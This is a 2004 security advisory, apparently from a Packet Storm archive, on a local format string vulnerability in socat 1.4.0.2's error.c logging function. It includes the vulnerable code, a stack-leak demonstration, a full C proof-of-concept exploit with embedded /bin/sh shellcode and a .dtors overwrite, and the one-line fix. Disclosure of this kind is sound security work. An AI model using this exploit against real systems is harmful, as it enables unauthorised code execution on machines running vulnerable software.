advisory-07-nsg.txt

2004-10-27T00:00:00
ID PACKETSTORM:34781
Type packetstorm
Reporter CoKi
Modified 2004-10-27T00:00:00

Description

                                        
                                            `-------------------------------------------------  
No System Group - Advisory #07 - 18/10/04  
-------------------------------------------------  
Program: Socat  
Homepage: http://www.dest-unreach.org/socat/  
Vulnerable Versions: Socat 1.4.0.2 and below  
Risk: Low / Medium  
Impact: Local Format String Vulnerability  
-------------------------------------------------  
  
  
- DESCRIPTION  
-------------------------------------------------  
Socat is a relay for bidirectional data transfer   
between two independent data channels. Each of these   
data channels may be a file, pipe, device (terminal   
or modem, etc.), socket (Unix, IP4, IP6 - raw, UDP,   
TCP), a client for SOCKS4, proxy CONNECT, or SSL, etc.   
It provides forking, logging, and dumping, different   
modes for interprocess communication, and many more  
options. It can be used, for example, as a TCP relay   
(one-shot or daemon), as a daemon-based socksifier,   
as a shell interface to Unix sockets, as an IP6 relay,   
for redirecting TCP-oriented programs to a serial line,   
or to establish a relatively secure environment (su   
and chroot) for running client or server shell scripts   
with network connections.  
  
More informations at: http://www.dest-unreach.org/socat/  
  
  
- DETAILS  
-------------------------------------------------  
Socat is affected by a format string bug in the   
void _msg() function to 220 lines of error.c code:  
  
--- error.c ---  
215:static void _msg(int level, const char *buff, const char *syslp) {  
216: if (diagopts.logstderr) {  
217: fputs(buff, stderr); fflush(stderr);  
218: }  
219: if (diagopts.syslog) {  
220: syslog(syslevel[level], syslp);  
221: }  
222: if (diagopts.logfile) {  
223: fputs(buff, diagopts.logfile); fflush(diagopts.logfile);  
224: }  
225:}  
--- error.c ---  
  
We can show some parts of the stack memory by using a format string loke  
this:  
  
coki@servidor:~/audit$ socat -lyAAAA%30\$p  
2004/10/18 13:13:07 socat[25191] E unknown syslog facility "AAAA%30$p"  
coki@servidor:~/audit$ tail -n 1 /var/log/syslog  
Oct 18 13:13:07 servidor socat[25191]: E unknown syslog facility "AAAA0x41414141"  
coki@servidor:~/audit$  
  
- EXPLOIT  
-------------------------------------------------  
  
------------------ socat_exp.c ------------------  
/* socat_exp.c  
  
Socat Format String Vulnerability  
  
socat <= 1.4.0.2 local exploit (Proof of Concept)  
  
by CoKi <coki@nosystem.com.ar>  
No System Group - http://www.nosystem.com.ar  
*/  
  
#include <stdio.h>  
#include <string.h>  
  
#define PATH "/usr/local/bin/socat"  
#define OBJDUMP "/usr/bin/objdump"  
#define GREP "/usr/bin/grep"  
  
unsigned char shellcode[]= /* aleph1 shellcode.45b */  
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"  
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"  
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e"  
"\x2f\x73\x68";  
  
int check(unsigned long addr);  
  
int main(int argc, char *argv[]) {  
  
int i, dtorsaddr;  
unsigned int bal1, bal2, bal3, bal4;  
char temp[512];  
char buffer[1024];  
int cn1, cn2, cn3, cn4;  
FILE *f;  
char *env[3] = {shellcode, NULL};  
int shaddr = 0xbffffffa - strlen(shellcode) - strlen(PATH);  
  
sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP);  
f = popen(temp, "r");  
if(fscanf(f, " %08x", &dtorsaddr) != 1) {  
pclose(f);  
printf("Cannot find .dtors address\n");  
exit(1);  
}  
pclose(f);  
dtorsaddr = dtorsaddr + 4;  
  
printf("\n socat <= 1.4.0.2 local exploit (Proof of Concept)\n");  
printf(" by CoKi <coki@nosystem.com.ar>\n\n");  
printf(" shellcode address = %.8p\n", shaddr);  
printf(" .dtors address = %.8p\n\n", dtorsaddr);  
  
bzero(temp, sizeof(temp));  
bzero(buffer, sizeof(buffer));  
  
strcat(buffer, "-ly");  
  
for(i = 0; i < 4; i++) {  
bzero(temp, sizeof(temp));  
sprintf(temp, "%s", &dtorsaddr);  
strncat(buffer, temp, 4);  
dtorsaddr++;  
}  
  
bal1 = (shaddr & 0xff000000) >> 24;  
bal2 = (shaddr & 0x00ff0000) >> 16;  
bal3 = (shaddr & 0x0000ff00) >> 8;  
bal4 = (shaddr & 0x000000ff);  
  
cn1 = bal4 - 27 - 16;  
cn1 = check(cn1);  
cn2 = bal3 - bal4;  
cn2 = check(cn2);  
cn3 = bal2 - bal3;  
cn3 = check(cn3);  
cn4 = bal1 - bal2;  
cn4 = check(cn4);  
  
sprintf(temp, "%%%du%%30\$n%%%du%%31\$n%%%du%%32\$n%%%du%%33\$n", cn1, cn2, cn3, cn4);  
  
strcat(buffer, temp);  
  
execle(PATH, "socat", buffer, NULL, env);  
}  
  
int check(unsigned long addr) {  
char tmp[128];  
snprintf(tmp, sizeof(tmp), "%d", addr);  
if(atoi(tmp) < 1)  
addr = addr + 256;  
  
return addr;  
}  
  
------------------ socat_exp.c ------------------  
  
coki@servidor:~$ make socat_exp  
coki@servidor:~$ ./socat_exp  
  
socat <= 1.4.0.2 local exploit (Proof of Concept)  
by CoKi <coki@nosystem.com.ar>  
  
shellcode address = 0xbfffffb9  
.dtors address = 0x080740c4  
  
2004/10/19 09:49:46 socat[26197] E unknown syslog facility  
"ÄÅÆÇ%142u%30$n%70u%31$n%256u%32$n%192u%33$n"  
sh-2.05b$  
  
This exploit does not give a root shell :(  
  
  
- SOLUTIONS  
-------------------------------------------------  
Change the void _msg() function of error.c code:  
  
--- error.c ---  
215:static void _msg(int level, const char *buff, const char *syslp) {  
216: if (diagopts.logstderr) {  
217: fputs(buff, stderr); fflush(stderr);  
218: }  
219: if (diagopts.syslog) {  
220: syslog(syslevel[level], "%s", syslp); // <--- here  
221: }  
222: if (diagopts.logfile) {  
223: fputs(buff, diagopts.logfile); fflush(diagopts.logfile);  
224: }  
225:}  
--- error.c ---  
  
  
- REFERENCES  
-------------------------------------------------  
http://www.nosystem.com.ar/advisories/advisory-07.txt  
  
  
- CREDITS  
-------------------------------------------------  
Discovered by CoKi <coki@nosystem.com.ar>  
  
No System Group - http://www.nosystem.com.ar`